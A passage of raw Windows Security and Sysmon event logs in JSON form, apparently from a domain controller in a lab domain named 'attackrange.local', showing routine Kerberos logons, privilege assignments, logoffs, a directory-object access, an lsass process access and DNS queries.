requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42ebf","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2433,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:23.374\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00102F140200}\r\nTargetProcessId: 2168\r\nTargetImage: C:\\Windows\\system32\\dns.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:23.374","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221649,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42F3B\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42f3b","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221650,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x42F3B\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t55564\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x42f3b","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"55564","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4662,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14080,"OpcodeValue":0,"RecordNumber":221651,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An operation was performed on an object.\r\n\r\nSubject :\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42F3B\r\n\r\nObject:\r\n\tObject Server:\t\tDS\r\n\tObject Type:\t\t%{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\tObject Name:\t\t%{75f0113b-589d-4ee2-966d-e6bb9e5c6911}\r\n\tHandle ID:\t\t0x0\r\n\r\nOperation:\r\n\tOperation Type:\t\tObject Access\r\n\tAccesses:\t\tWRITE_DAC\r\n\t\t\t\t\r\n\tAccess Mask:\t\t0x40000\r\n\tProperties:\t\tWRITE_DAC\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n\r\n\r\nAdditional Information:\r\n\tParameter 1:\t\t-\r\n\tParameter 2:\t\t","Category":"Directory Service Access","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x42f3b","ObjectServer":"DS","ObjectType":"%{bf967a8d-0de6-11d0-a285-00aa003049e2}","ObjectName":"%{75f0113b-589d-4ee2-966d-e6bb9e5c6911}","OperationType":"Object Access","HandleId":"0x0","AccessList":"%%1539\r\n\t\t\t\t","AccessMask":"0x40000","Properties":"%%1539\r\n\t{bf967a8d-0de6-11d0-a285-00aa003049e2}\r\n","AdditionalInfo":"-","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221652,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42F3B\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42f3b","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221653,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x42E51\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x42e51","LogonType":"3","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221654,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x43060\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x43060","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221655,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x43060\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x43060","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{70073692-21C6-24B2-B0B5-1E4E73760CBB}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1840","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2434,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.390\r\nProcessGuid: {90617006-3FFD-5F2D-0000-00104BF50300}\r\nProcessId: 2580\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::2051:1b95:f5ff:fef1;2001:0:2851:782c:2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\taskhostw.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.390","ProcessGuid":"{90617006-3FFD-5F2D-0000-00104BF50300}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::2051:1b95:f5ff:fef1;2001:0:2851:782c:2051:1b95:f5ff:fef1;fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\taskhostw.exe","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2435,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:21.625\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: win-dc-9849183\r\nQueryStatus: 1460\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:21.625","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"win-dc-9849183","QueryStatus":"1460","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2436,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:22.252\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 33 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:22.252","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.","QueryStatus":"0","QueryResults":"type: 33 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221656,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x430D8\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x430d8","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:24","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:23","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221657,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tDelegation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x430D8\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{70073692-21C6-24B2-B0B5-1E4E73760CBB}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was 